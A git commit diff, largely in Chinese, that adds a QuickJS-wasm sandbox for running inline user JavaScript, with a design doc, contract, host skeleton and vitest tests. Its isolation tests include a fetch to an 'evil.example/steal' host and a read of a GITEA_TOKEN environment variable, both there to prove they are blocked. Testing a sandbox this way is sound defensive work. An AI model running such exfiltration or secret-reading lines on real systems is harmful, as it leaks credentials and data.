feat(code): 新增通用 code 零件(sandbox inline JS)—— Arcrun#10 設計+PoC
n8n Code node 式逃生口:config 帶 inline JS、stdin 帶 input JSON、
stdout 回 {success,data}|{success:false,error,error_type}。
沙箱=QuickJS-wasm:user JS 跑在 QuickJS context,global 只有純 ECMAScript
內建 + 唯一 curated builtin sha256(純函式);碰不到網路/檔案/env/secret/
Worker 物件圖。資源上限:timeout(interrupt)/memory/stack/output/code size。
本輪=設計+PoC,未部署 leo21c。sandbox.mjs + test/ 為 Node/vitest 可跑實作
(12 測試全綠,含 card→envelope 與原模組 planCard 逐欄全等)。index.ts 為
Worker host 骨架、DESIGN.md 記錄機制/安全性質/生產路徑/設計岔路(A/B)。
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJiLCRUU2o3aSpPEzVCt2o
This commit is contained in:
@@ -0,0 +1,81 @@
|
||||
# `code` 零件 —— 沙箱設計小結(Arcrun#10)
|
||||
|
||||
> 狀態:設計 + PoC(Node/vitest 綠燈),**未部署 leo21c**。live 前需總管與 leo 過寫入/部署閘。
|
||||
|
||||
## 0. arcrun 零件 runtime 真相(先摸清再設計)
|
||||
|
||||
- 每個 logic 零件 = **一顆 Worker**(`{name}.arcrun.dev`),POST JSON → 內部跑 wasm → JSON 回傳。
|
||||
- 零件實作 = **Go(`//go:build tinygo`)→ TinyGo 編成 WASI-preview1 wasm**,build 時靜態 bundle 進 Worker(`wrangler.toml [[wasm_modules]]`)。
|
||||
- host(`component-worker-template/src/index.ts`)**用 TS 自己實作一份 WASI-preview1 shim**:`fd_read` 餵 stdin(= POST body 的 JSON)、`fd_write` 收 stdout(= 回傳 JSON)。
|
||||
- `no_network` / `no_filesystem` **不是靠 wasm 自律,是 host 根本不提供那些 import**:`sock_*` / `path_*` 全回 `ENOSYS(76)`、`u6u.http_request` no-op。→ 零件對外「無 ambient 能力」是**由 host 建構保證**的。
|
||||
- runtime 是 **workerd(=cf-workers)**;contract 的 `wazero` 只是相容標記(本機/CLI 測試路徑),生產不經 wazero。
|
||||
|
||||
**關鍵結論**:host 只認 WASI-preview1 + stdin/stdout JSON,**與 guest 語言無關**。所以載入「QuickJS 編成的 wasm」與載入 TinyGo wasm 在 runtime 層是同一件事 —— **QuickJS-wasm 可行,且完全合現有零件模型**。差別只在 guest 從「TinyGo」換成「QuickJS」,且 user 的 JS 是「跑時餵進去的資料」而非「build 時編進去的程式」。
|
||||
|
||||
## 1. 沙箱機制
|
||||
|
||||
user JS 跑在 **QuickJS context** 裡,該 context 三層封裝、逐層無逃逸:
|
||||
|
||||
```
|
||||
Cloudflare Worker isolate(V8)
|
||||
└─ QuickJS wasm module(線性記憶體沙箱;無 WASI 網路/檔案 import)
|
||||
└─ QuickJS JS context(global 只有純 ECMAScript 內建)
|
||||
└─ user code:讀 input、return 值
|
||||
```
|
||||
|
||||
- **無 ambient 能力(by construction)**:QuickJS context 起始 global 只有 `Object/Array/JSON/Math/Date/String/RegExp…`,**沒有** `fetch/process/require/WebAssembly/XMLHttpRequest/globalThis.env`。要給的能力必須 host 明確、逐一注入。
|
||||
- **唯一注入的 curated builtin**:`sha256(str)`(純、決定性、零能力 —— 不能碰網路/檔案/secret)。card→envelope 的 content_hash 需要它。任何新 builtin 都必須維持「純函式、無 ambient 能力」這條線。
|
||||
- **input 穿越邊界**:以 JSON 字串 marshal,沙箱內 `JSON.parse` —— host 與 guest **不共享物件圖**,杜絕 prototype/引用逃逸。
|
||||
- **user code 形狀**:當「函式體」跑(可含 `const`/`function` 宣告、以 `return` 回值),綁定唯一入參 `input`。回值 `JSON.stringify` 後交回 host。
|
||||
|
||||
## 2. 生產路徑(PoC → live 的差異)
|
||||
|
||||
- **PoC**(本目錄 `sandbox.mjs` + `test/`):用 `quickjs-emscripten`(預編 QuickJS wasm)在 **Node/vitest** 跑,證明沙箱**語義**。`sha256` 以 Node `node:crypto` 實作。**12 測試全綠**,含 card→envelope 全等。
|
||||
- **live(Worker)**:`quickjs-emscripten` 有 Cloudflare Workers 相容 variant,可直接在零件 Worker 內用。**唯一要改**:`sha256` 不用 host function(Worker 的 Web Crypto `crypto.subtle.digest` 是 async,跟 QuickJS 同步 host-call 不合),改成**把純 JS SHA-256 當 prelude 字串注入沙箱**(無 host call、Node/Worker 皆決定性)。這也讓「curated builtin = 純演算法字串」成為往後加 builtin 的標準做法。
|
||||
|
||||
## 3. 資源限制(防跑飛)
|
||||
|
||||
| 限制 | 機制 | 預設 |
|
||||
|---|---|---|
|
||||
| 執行 timeout | QuickJS runtime `setInterruptHandler`(逐指令檢查 wall-clock deadline) | 1000 ms |
|
||||
| 記憶體 | `setMemoryLimit`(QuickJS runtime 硬上限) | 16 MiB |
|
||||
| 堆疊 | `setMaxStackSize`(防深遞迴) | 512 KiB |
|
||||
| 輸出大小 | host 量測 stdout JSON bytes,超限即 `ResourceError` | 1 MiB |
|
||||
| code 大小 | host 量測 user code bytes,超限即 `ResourceError` | 256 KiB |
|
||||
|
||||
節點 config 可覆蓋(但不得放寬過契約 `sandbox_limits` 硬上限 —— 由零件在讀 config 時 clamp)。
|
||||
|
||||
## 4. 錯誤處理(Worker 絕不掛)
|
||||
|
||||
一律回結構化 envelope,`error_type` 分類:
|
||||
- `UserCodeError`:user code 拋錯 / 語法錯誤。
|
||||
- `TimeoutError`:超時被 interrupt。
|
||||
- `ResourceError`:記憶體 / 輸出 / code 超限。
|
||||
- `ContractError`:輸入形狀不合(如 code 非字串)。
|
||||
- `SandboxError`:其餘沙箱層例外。
|
||||
|
||||
## 5. 安全性質(總結)
|
||||
|
||||
1. user code **無網路**:沒有 fetch/XHR,QuickJS wasm 也沒有 WASI socket import。
|
||||
2. user code **無檔案**:沒有 fs,WASI path_* 一律 ENOSYS。
|
||||
3. user code **無 env/secret**:沒有 process,Worker 的 `env`(bindings/secret)不進 QuickJS context。
|
||||
4. user code **碰不到 Worker 物件圖**:獨立 wasm 線性記憶體 + 獨立 QuickJS heap + JSON 邊界。
|
||||
5. **可終止**:timeout/記憶體/輸出上限,跑飛也不拖垮 Worker。
|
||||
6. **決定性**(除 `Date`/`Math.random`):curated builtin 全是純函式。
|
||||
|
||||
## 6. 設計岔路(給總管/leo 裁)
|
||||
|
||||
沙箱主機制 = **QuickJS-wasm**(本 PoC 已證可行且合模型)。封裝方式有兩條,取捨如下:
|
||||
|
||||
- **A. QuickJS-emscripten 直接在零件 Worker 用(PoC 走這條,推薦先行)**
|
||||
優點:本環境即可跑、npm 現成、限制 API 齊(timeout/mem/stack)、已在 Workers 驗證過可用。
|
||||
缺點:不經現有 TinyGo-wasm 的 `[[wasm_modules]]` + 自建 WASI shim 路徑,是零件家族裡的「特例封裝」。
|
||||
- **B. 自建 QuickJS+C-harness → wasi-sdk 編成 preview1 wasm,跑在現有 host shim(最「同構」)**
|
||||
優點:與其他零件同一條 runtime(同 WASI shim),`wasi_target: preview1` 名副其實,「無 ambient 能力」最純。
|
||||
缺點:需要 wasi-sdk 工具鏈(**本環境無 sysroot,無法即刻 build**)、要維護一段 C harness。
|
||||
|
||||
**建議**:先以 A live(快、已驗證),把 B 列為後續「收斂到同構 runtime」的技術債。若總管要求所有零件單一 runtime,則走 B,但需先補 wasi-sdk build 基礎設施。**此為安全敏感原語,機制選定請總管拍板再 live。**
|
||||
|
||||
## 7. 首個消費者(Arcrun#8)
|
||||
|
||||
`km_wiki_ingest_drain` 的 card→envelope 解析,把 `card-to-envelope.mjs` 的 `parseCard`/`planEnvelopes`/`planCard` 當作 `code` 節點的 inline JS(去掉 `import 'node:crypto'` 與 `export`,改用注入的 `sha256`)。PoC 測試 ⑤ 已證:**沙箱輸出與原始模組 `planCard` 逐欄全等**(含 content_hash)。→ 可丟掉 domain 零件 `km_wiki_card_parse`。
|
||||
@@ -0,0 +1,78 @@
|
||||
canonical_id: "code"
|
||||
display_name: "程式碼(沙箱 inline JS)"
|
||||
category: "logic"
|
||||
version: "v1"
|
||||
wasi_target: "preview1"
|
||||
stability: "experimental"
|
||||
runtime_compat:
|
||||
- "cf-workers"
|
||||
- "workerd"
|
||||
constraints:
|
||||
max_size_kb: 2048
|
||||
max_cold_start_ms: 80
|
||||
no_network_syscall: true
|
||||
no_filesystem_syscall: true
|
||||
io_model: "stdin_stdout_json"
|
||||
# --- 沙箱資源上限(可被節點 config 的 limits 覆蓋,但不得放寬過硬上限)---
|
||||
sandbox_limits:
|
||||
timeout_ms: 1000
|
||||
memory_bytes: 16777216 # 16 MiB
|
||||
max_stack_bytes: 524288 # 512 KiB
|
||||
max_output_bytes: 1048576 # 1 MiB
|
||||
max_code_bytes: 262144 # 256 KiB
|
||||
input_schema:
|
||||
type: object
|
||||
required: [code]
|
||||
properties:
|
||||
code:
|
||||
type: string
|
||||
description: "一段 inline JS(函式體)。可讀綁定的 `input`,以 `return` 回傳一個 JSON-able 值。碰不到網路/檔案/env/secret。"
|
||||
input:
|
||||
description: "上游資料(任意 JSON),在沙箱內綁為全域 `input`。"
|
||||
limits:
|
||||
type: object
|
||||
description: "選填,覆蓋預設資源上限(不得超過契約 sandbox_limits 硬上限)。"
|
||||
properties:
|
||||
timeout_ms: { type: number }
|
||||
memory_bytes: { type: number }
|
||||
max_output_bytes: { type: number }
|
||||
output_schema:
|
||||
type: object
|
||||
properties:
|
||||
success:
|
||||
type: boolean
|
||||
data:
|
||||
description: "user code 的回傳值(success=true 時)。"
|
||||
error:
|
||||
type: string
|
||||
description: "success=false 時的錯誤訊息。"
|
||||
error_type:
|
||||
type: string
|
||||
enum: [UserCodeError, TimeoutError, ResourceError, ContractError, SandboxError]
|
||||
gherkin_tests:
|
||||
- scenario: "基本 sum"
|
||||
given: '{"code":"return {sum: input.a + input.b};","input":{"a":2,"b":40}}'
|
||||
then_contains: '"sum":42'
|
||||
- scenario: "沙箱隔離:碰不到 fetch"
|
||||
given: '{"code":"return typeof fetch;","input":{}}'
|
||||
then_contains: '"data":"undefined"'
|
||||
- scenario: "user code 拋錯 → 結構化 error"
|
||||
given: '{"code":"throw new Error(\"boom\");","input":{}}'
|
||||
then_contains: '"success":false'
|
||||
tags: [builtin, logic, code, sandbox, javascript, escape-hatch]
|
||||
description: >
|
||||
通用「程式碼逃生口」。跑一段 sandbox inline JS(n8n Code node 式):
|
||||
config 帶 `code`(inline JS 函式體),stdin 帶 `input`(上游 JSON),
|
||||
stdout 回 `{success, data}` 或 `{success:false, error, error_type}`。
|
||||
user code 在 QuickJS-wasm 沙箱內執行,只有純 ECMAScript 內建 + host 明確注入的
|
||||
curated builtin(目前:純函式 sha256),碰不到網路/檔案/env/secret/Worker 物件圖。
|
||||
用於一次性/小段程式邏輯(如卡片→envelope 文字處理),避免各自鑄 domain 零件。
|
||||
config_example: |
|
||||
my_code: # 節點名稱(可自訂)
|
||||
code: | # inline JS 函式體(必填);讀 input、return 一個 JSON-able 值
|
||||
const doubled = input.items.map(x => x * 2);
|
||||
return { doubled, count: doubled.length };
|
||||
input: # 上游資料(選填;workflow 可用引用注入)
|
||||
items: [1, 2, 3]
|
||||
limits: # 資源上限覆蓋(選填)
|
||||
timeout_ms: 2000
|
||||
@@ -0,0 +1,47 @@
|
||||
/**
|
||||
* arcrun `code` 零件 —— Worker host(骨架,尚未部署驗證)
|
||||
*
|
||||
* POST / → { code, input, limits? } → QuickJS-wasm 沙箱 → { success, data } | { success:false, error, error_type }
|
||||
*
|
||||
* 與其他 logic 零件的差異:
|
||||
* - 其他零件 = 一顆「arcrun 自建 TinyGo→wasm」,靜態 bundle 進 Worker([[wasm_modules]]),
|
||||
* 跑在 component-worker-template 的 WASI-preview1 shim 上。
|
||||
* - `code` 零件 = 載入「QuickJS(JS 直譯器)編成的 wasm」,把 user 的 inline JS 當「資料」
|
||||
* 餵進去跑。QuickJS 的 wasm 由 quickjs-emscripten 提供(有 Cloudflare Workers 相容 variant)。
|
||||
*
|
||||
* ⚠️ 此檔為設計骨架。PoC 的可執行 + 受測實作在 ./sandbox.mjs(Node/vitest 綠燈)。
|
||||
* live 化差異見 DESIGN.md「② 生產路徑」與「curated builtins(sha256)」。
|
||||
*/
|
||||
|
||||
import { Hono } from 'hono';
|
||||
import { cors } from 'hono/cors';
|
||||
import { getQuickJS } from 'quickjs-emscripten';
|
||||
|
||||
const app = new Hono();
|
||||
app.use('*', cors());
|
||||
app.get('/', (c) => c.json({ ok: true, component: 'code' }));
|
||||
|
||||
app.post('/', async (c) => {
|
||||
let body: { code?: unknown; input?: unknown; limits?: Record<string, number> };
|
||||
try {
|
||||
body = await c.req.json();
|
||||
} catch {
|
||||
return c.json({ success: false, error: 'request body must be JSON', error_type: 'ContractError' }, 400);
|
||||
}
|
||||
// runCode 語義與簽章同 ./sandbox.mjs(PoC 已受測)。生產版把 sha256 curated builtin
|
||||
// 換成「純 JS SHA-256 prelude」(無 host call、Node/Worker 皆決定性),見 DESIGN.md。
|
||||
const result = await runCodeInWorker(String(body.code ?? ''), body.input, body.limits);
|
||||
return c.json(result);
|
||||
});
|
||||
|
||||
export default app;
|
||||
|
||||
// 生產實作(待補:把 sandbox.mjs 的 runCode 移植成 Worker 版)。
|
||||
declare function runCodeInWorker(
|
||||
code: string,
|
||||
input: unknown,
|
||||
limits?: Record<string, number>,
|
||||
): Promise<unknown>;
|
||||
|
||||
// 保留 import 以標示相依(bundler 不 tree-shake 掉):
|
||||
void getQuickJS;
|
||||
+1655
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"name": "arcrun-component-code",
|
||||
"version": "0.1.0",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"description": "arcrun code 零件 —— sandbox inline JS(QuickJS-wasm)",
|
||||
"scripts": {
|
||||
"test": "vitest run --config vitest.config.mjs"
|
||||
},
|
||||
"dependencies": {
|
||||
"quickjs-emscripten": "^0.31.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"vitest": "^3.1.0"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
// arcrun `code` 零件 —— 沙箱核心(PoC 參考實作)
|
||||
// ---------------------------------------------------------------------------
|
||||
// 語義:n8n Code node 式。config 帶一段 inline user JS,stdin 帶 input JSON。
|
||||
// user code 只能:讀 `input`(已解析的 stdin JSON)、回傳一個 JSON-able 值。
|
||||
// user code 碰不到:網路 / 檔案 / env / secret / Worker 物件圖。
|
||||
//
|
||||
// 隔離機制:user JS 跑在 QuickJS(JS 直譯器)編成的 wasm sandbox 內。QuickJS
|
||||
// context 的 global 只有純 ECMAScript 內建(Object/Array/JSON/Math/Date/String…),
|
||||
// 沒有 fetch / process / require / globalThis.env / WebAssembly / 任何 host binding
|
||||
// —— 「無 ambient 能力(no ambient capability by construction)」。要給的能力,
|
||||
// 只能由 host 明確、逐一注入為 curated builtin(本檔 = 一個純函式 sha256)。
|
||||
//
|
||||
// 對齊 arcrun 契約:io_model=stdin_stdout_json、no_network_syscall、
|
||||
// no_filesystem_syscall。與其他零件唯一差別=直譯器是 QuickJS-wasm 而非 TinyGo-wasm。
|
||||
|
||||
import { getQuickJS } from 'quickjs-emscripten';
|
||||
import { createHash } from 'node:crypto';
|
||||
|
||||
export const DEFAULT_LIMITS = {
|
||||
timeout_ms: 1000, // 執行牆鐘上限(interrupt handler 逐指令檢查 deadline)
|
||||
memory_bytes: 16 * 1024 * 1024, // QuickJS runtime 記憶體硬上限
|
||||
max_stack_bytes: 512 * 1024, // 遞迴/深堆疊上限
|
||||
max_output_bytes: 1024 * 1024, // stdout JSON 大小上限(防跑飛)
|
||||
max_code_bytes: 256 * 1024, // user code 本身大小上限
|
||||
};
|
||||
|
||||
// curated 安全 builtin:純、決定性、零 ambient 能力(不能碰網路/檔案/secret)。
|
||||
// PoC 用 Node crypto 實作 sha256;live(Worker)要換成 Web Crypto 的
|
||||
// crypto.subtle.digest('SHA-256', …)(見 DESIGN.md「curated builtins」)。
|
||||
function hostSha256(s) {
|
||||
return createHash('sha256').update(s, 'utf8').digest('hex');
|
||||
}
|
||||
|
||||
/**
|
||||
* 在沙箱內跑一段 user code。
|
||||
* @param {string} code user 的 inline JS(函式體:可含宣告、以 `return` 回值)
|
||||
* @param {*} input 已解析的 stdin JSON(會以 `input` 綁進沙箱)
|
||||
* @param {object} [opts] { limits, builtins }
|
||||
* @returns {Promise<{success:true,data:*}|{success:false,error:string,error_type?:string}>}
|
||||
*/
|
||||
export async function runCode(code, input, opts = {}) {
|
||||
const limits = { ...DEFAULT_LIMITS, ...(opts.limits || {}) };
|
||||
|
||||
if (typeof code !== 'string') {
|
||||
return err('code must be a string', 'ContractError');
|
||||
}
|
||||
if (Buffer.byteLength(code, 'utf8') > limits.max_code_bytes) {
|
||||
return err(`code exceeds max_code_bytes (${limits.max_code_bytes})`, 'ResourceError');
|
||||
}
|
||||
|
||||
const QuickJS = await getQuickJS();
|
||||
const runtime = QuickJS.newRuntime();
|
||||
runtime.setMemoryLimit(limits.memory_bytes);
|
||||
runtime.setMaxStackSize(limits.max_stack_bytes);
|
||||
|
||||
const deadline = Date.now() + limits.timeout_ms;
|
||||
let interrupted = false;
|
||||
runtime.setInterruptHandler(() => {
|
||||
if (Date.now() > deadline) { interrupted = true; return true; }
|
||||
return false;
|
||||
});
|
||||
|
||||
const ctx = runtime.newContext();
|
||||
try {
|
||||
// 注入 curated builtin:sha256(單一純函式;其餘一律不給)
|
||||
const shaFn = ctx.newFunction('sha256', (argHandle) => {
|
||||
const s = ctx.getString(argHandle);
|
||||
return ctx.newString(hostSha256(s));
|
||||
});
|
||||
ctx.setProp(ctx.global, 'sha256', shaFn);
|
||||
shaFn.dispose();
|
||||
|
||||
// 綁 input:以 JSON 字串安全穿越邊界,沙箱內 JSON.parse(不共享物件圖)
|
||||
const inputJson = JSON.stringify(input === undefined ? null : input);
|
||||
|
||||
// 包裝:user code 當成函式體跑,回值 JSON.stringify 後交回 host。
|
||||
// `input` 為唯一綁定;`sha256` 為唯一注入 builtin。
|
||||
const wrapped = `(() => {
|
||||
"use strict";
|
||||
const input = JSON.parse(${JSON.stringify(inputJson)});
|
||||
const __run = (input) => { ${code}
|
||||
};
|
||||
const __out = __run(input);
|
||||
return JSON.stringify(__out === undefined ? null : __out);
|
||||
})()`;
|
||||
|
||||
const evalResult = ctx.evalCode(wrapped, 'user-code.js');
|
||||
|
||||
if (evalResult.error) {
|
||||
const detail = ctx.dump(evalResult.error);
|
||||
evalResult.error.dispose();
|
||||
if (interrupted) return err(`execution timed out after ${limits.timeout_ms}ms`, 'TimeoutError');
|
||||
const msg = typeof detail === 'object' && detail
|
||||
? `${detail.name || 'Error'}: ${detail.message || ''}`.trim()
|
||||
: String(detail);
|
||||
return err(msg, 'UserCodeError');
|
||||
}
|
||||
|
||||
const outJson = ctx.getString(evalResult.value);
|
||||
evalResult.value.dispose();
|
||||
|
||||
if (Buffer.byteLength(outJson, 'utf8') > limits.max_output_bytes) {
|
||||
return err(`output exceeds max_output_bytes (${limits.max_output_bytes})`, 'ResourceError');
|
||||
}
|
||||
return { success: true, data: JSON.parse(outJson) };
|
||||
} catch (e) {
|
||||
if (interrupted) return err(`execution timed out after ${limits.timeout_ms}ms`, 'TimeoutError');
|
||||
const m = e instanceof Error ? e.message : String(e);
|
||||
if (/out of memory|memory/i.test(m)) return err('out of memory', 'ResourceError');
|
||||
return err(m, 'SandboxError');
|
||||
} finally {
|
||||
ctx.dispose();
|
||||
runtime.dispose();
|
||||
}
|
||||
}
|
||||
|
||||
function err(message, error_type) {
|
||||
return { success: false, error: message, error_type };
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,25 @@
|
||||
---
|
||||
tags: [arcrun, 測試]
|
||||
gloss: 一張測沙箱用的示範卡片。
|
||||
pipeline_candidate: true
|
||||
---
|
||||
# 沙箱示範卡
|
||||
|
||||
← [[notes/00-INDEX]]
|
||||
|
||||
這張卡引用了 [[notes/arcrun-runtime]] 與 [[notes/quickjs-sandbox]]。
|
||||
|
||||
## 實體
|
||||
|
||||
- **QuickJS**(quickjs/qjs)— 小型 JS 直譯器,可編成 wasm。
|
||||
- **wazero** — Go 寫的 WASI runtime。
|
||||
- **workerd** — Cloudflare Worker 的開源 runtime。
|
||||
|
||||
## 關聯
|
||||
|
||||
### 內文知識關係
|
||||
- QuickJS >> 編譯成 >> wasm
|
||||
- workerd >> 執行 >> wasm
|
||||
|
||||
### 卡片關係
|
||||
- [[沙箱示範卡]] >> 依賴 >> [[notes/arcrun-runtime]]
|
||||
@@ -0,0 +1,128 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { runCode } from '../sandbox.mjs';
|
||||
import { planCard } from './fixtures/card-to-envelope.oracle.mjs';
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const FIX = join(HERE, 'fixtures');
|
||||
|
||||
describe('① 基本 snippet 跑通', () => {
|
||||
it('sum: {return {sum: input.a + input.b}}', async () => {
|
||||
const r = await runCode('return {sum: input.a + input.b};', { a: 2, b: 40 });
|
||||
expect(r).toEqual({ success: true, data: { sum: 42 } });
|
||||
});
|
||||
|
||||
it('可用純 ECMAScript 內建(Array/JSON/Math/Date)', async () => {
|
||||
const r = await runCode(
|
||||
'return {mapped: input.xs.map(x=>x*x), max: Math.max(...input.xs), isNum: typeof Date.now()};',
|
||||
{ xs: [1, 2, 3] },
|
||||
);
|
||||
expect(r.success).toBe(true);
|
||||
expect(r.data.mapped).toEqual([1, 4, 9]);
|
||||
expect(r.data.max).toBe(3);
|
||||
expect(r.data.isNum).toBe('number');
|
||||
});
|
||||
});
|
||||
|
||||
describe('② 沙箱隔離:無 ambient 能力', () => {
|
||||
it('fetch / process / require / WebAssembly / globalThis.env 皆 undefined', async () => {
|
||||
const r = await runCode(`return {
|
||||
fetch: typeof fetch,
|
||||
process: typeof process,
|
||||
require: typeof require,
|
||||
wasm: typeof WebAssembly,
|
||||
globalThisEnv: typeof (globalThis.env),
|
||||
xhr: typeof XMLHttpRequest,
|
||||
};`, {});
|
||||
expect(r.success).toBe(true);
|
||||
expect(r.data).toEqual({
|
||||
fetch: 'undefined', process: 'undefined', require: 'undefined',
|
||||
wasm: 'undefined', globalThisEnv: 'undefined', xhr: 'undefined',
|
||||
});
|
||||
});
|
||||
|
||||
it('嘗試打網路(fetch)→ 被擋、回結構化 error(Worker 不掛)', async () => {
|
||||
const r = await runCode(`return fetch('https://evil.example/steal');`, {});
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error).toMatch(/fetch.*is not defined/i);
|
||||
expect(r.error_type).toBe('UserCodeError');
|
||||
});
|
||||
|
||||
it('嘗試讀 env/secret → 讀不到(process undefined)', async () => {
|
||||
const r = await runCode(`return process.env.GITEA_TOKEN;`, {});
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error).toMatch(/process.*is not defined/i);
|
||||
});
|
||||
|
||||
it('host 端變數不外洩:沙箱是獨立 heap', async () => {
|
||||
const r = await runCode(`return typeof GITEA_TOKEN + '|' + typeof globalThis.GITEA_TOKEN;`, {});
|
||||
expect(r.success).toBe(true);
|
||||
expect(r.data).toBe('undefined|undefined');
|
||||
});
|
||||
});
|
||||
|
||||
describe('③ 錯誤處理 → 結構化 {error}', () => {
|
||||
it('user code 拋錯 → success:false + error 訊息', async () => {
|
||||
const r = await runCode(`throw new Error('boom');`, {});
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error).toMatch(/boom/);
|
||||
expect(r.error_type).toBe('UserCodeError');
|
||||
});
|
||||
|
||||
it('語法錯誤 → 結構化 error(不炸 host)', async () => {
|
||||
const r = await runCode(`return {;`, {});
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error_type).toBe('UserCodeError');
|
||||
});
|
||||
});
|
||||
|
||||
describe('④ 資源限制', () => {
|
||||
it('timeout:無窮迴圈 → TimeoutError(不掛死 host)', async () => {
|
||||
const r = await runCode(`while(true){}`, {}, { limits: { timeout_ms: 200 } });
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error_type).toBe('TimeoutError');
|
||||
}, 10000);
|
||||
|
||||
it('輸出過大 → ResourceError', async () => {
|
||||
const r = await runCode(`return 'x'.repeat(input.n);`, { n: 5000 }, { limits: { max_output_bytes: 1000 } });
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error_type).toBe('ResourceError');
|
||||
});
|
||||
|
||||
it('code 過大 → ResourceError', async () => {
|
||||
const big = '/*' + 'a'.repeat(3000) + '*/ return 1;';
|
||||
const r = await runCode(big, {}, { limits: { max_code_bytes: 1000 } });
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error_type).toBe('ResourceError');
|
||||
});
|
||||
});
|
||||
|
||||
describe('⑤ 首個真實案例:card-to-envelope 在 code 零件內跑,產出與原模組一致', () => {
|
||||
const md = readFileSync(join(FIX, 'fixture-card.md'), 'utf8');
|
||||
const usercode = readFileSync(join(FIX, 'card-to-envelope.usercode.js'), 'utf8');
|
||||
const relPath = 'system-dev/wiki/cards/notes/沙箱示範卡.md';
|
||||
const repo = 'Leo/notes';
|
||||
|
||||
// 移除時間相依欄位(Date.now())以做穩定 deep-equal
|
||||
const strip = (plan) => {
|
||||
const p = structuredClone(plan);
|
||||
for (const e of p.envelopes) delete e.extractor.extracted_at;
|
||||
return p;
|
||||
};
|
||||
|
||||
it('沙箱輸出 === 原始模組 planCard 輸出(entry/nodes/triplets/envelopes 全等)', async () => {
|
||||
const oracle = planCard(md, relPath, repo, {});
|
||||
const r = await runCode(usercode, { md, relPath, repo, opts: {} }, {
|
||||
limits: { timeout_ms: 3000, max_output_bytes: 4 * 1024 * 1024 },
|
||||
});
|
||||
expect(r.success).toBe(true);
|
||||
expect(strip(r.data)).toEqual(strip(oracle));
|
||||
expect(r.data.entry.page_name).toBe('wikicard:Leo/notes/沙箱示範卡');
|
||||
expect(r.data.entry.metadata.embed).toBe(true);
|
||||
// 注入的 sha256 builtin 與 node crypto 一致 → content_hash 逐字相同
|
||||
expect(r.data.entry.metadata.content_hash).toBe(oracle.entry.metadata.content_hash);
|
||||
expect(r.data.envelopes.length).toBeGreaterThanOrEqual(1);
|
||||
}, 15000);
|
||||
});
|
||||
@@ -0,0 +1,5 @@
|
||||
import { defineConfig } from 'vitest/config';
|
||||
export default defineConfig({
|
||||
root: import.meta.dirname,
|
||||
test: { environment: 'node', include: ['test/**/*.test.mjs'] },
|
||||
});
|
||||
Reference in New Issue
Block a user